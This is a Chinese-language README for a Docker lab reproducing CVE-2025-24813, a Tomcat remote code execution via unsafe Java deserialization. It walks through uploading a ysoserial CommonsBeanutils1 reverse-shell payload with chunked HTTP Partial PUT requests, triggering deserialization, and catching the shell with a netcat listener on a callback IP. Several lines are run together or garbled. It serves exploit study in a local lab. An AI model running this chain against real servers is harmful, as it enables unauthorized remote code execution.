
Session Exploit
🧪 CVE-2025-24813 Tomcat RCE 实验环境 (Docker + ysoserial)
本实验演示了在 Tomcat 托管的应用程序中,通过不安全 Java 反序列化实现远程代码执行,该应用程序会处理序列化会话文件。整个环境运行在 Docker 中,并通过 HTTP Partial PUT 请求传递精心构造的反向 Shell 负载。
📁 目录结构
.
├── 0-run-tomcat.sh # 构建并运行存在漏洞的 Tomcat 容器
├── 1-generate-revshell.sh # 启动 Netcat 反向 Shell 监听器
├── 2-generate-payload.sh # 生成 ysoserial 反向 Shell 负载
├── 3-upload-file.sh # 通过 Partial PUT 上传序列化负载
├── 4-exploit.sh # 触发反序列化端点
├── readme.md # 本文件
├── source.sh # 设置 CALLBACK_IP、LISTENER_PORT 等变量
├── dummy-app/
│ ├── src/
│ │ └── main/java/com/example/DeserializeServlet.java
│ ├── pom.xml
│ └── Dockerfile
⚙️ 前置条件
安装 Java 和 Netcat:
brew install openjdk netcat
确保使用 JDK 11+ 并允许通过 --add-opens 启用不安全模块访问。
🧨 漏洞利用流程
CommonsBeanutils1)🧪 使用说明
bash 0-run-tomcat.sh
创建如下 source.sh 文件:
export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100
然后执行:
source source.sh
在另一个终端中运行:
bash 1-generate-revshell.sh
该脚本会执行:
nc -lnvp 4444
bash 2-generate-payload.sh
该脚本将:
ysoserial.jarCommonsBeanutils1 负载rev_shell.serbash 3-upload-file.sh
该脚本通过 Content-Range 头,以分块方式执行 HTTP Partial PUT 上传。
bash 4-exploit.sh
该脚本向以下地址发送请求:
http://localhost:8080/xxx-api/profile
从而反序列化上传的文件并执行负载。
✅ 你将在 Netcat 终端中获得一个反向 Shell!
🔍 调试
进入容器:
docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l
如果使用安全负载进行测试,检查文件 /tmp/beanutils-worked 是否存在。
💡 注意事项
--add-opens 来绕过 Java 11+ 的模块限制/bin/bash 不可用,反向 Shell 可能会静默失败(可尝试 /bin/sh)touch /tmp/rce-worked 安全测试代码执行🧱 基于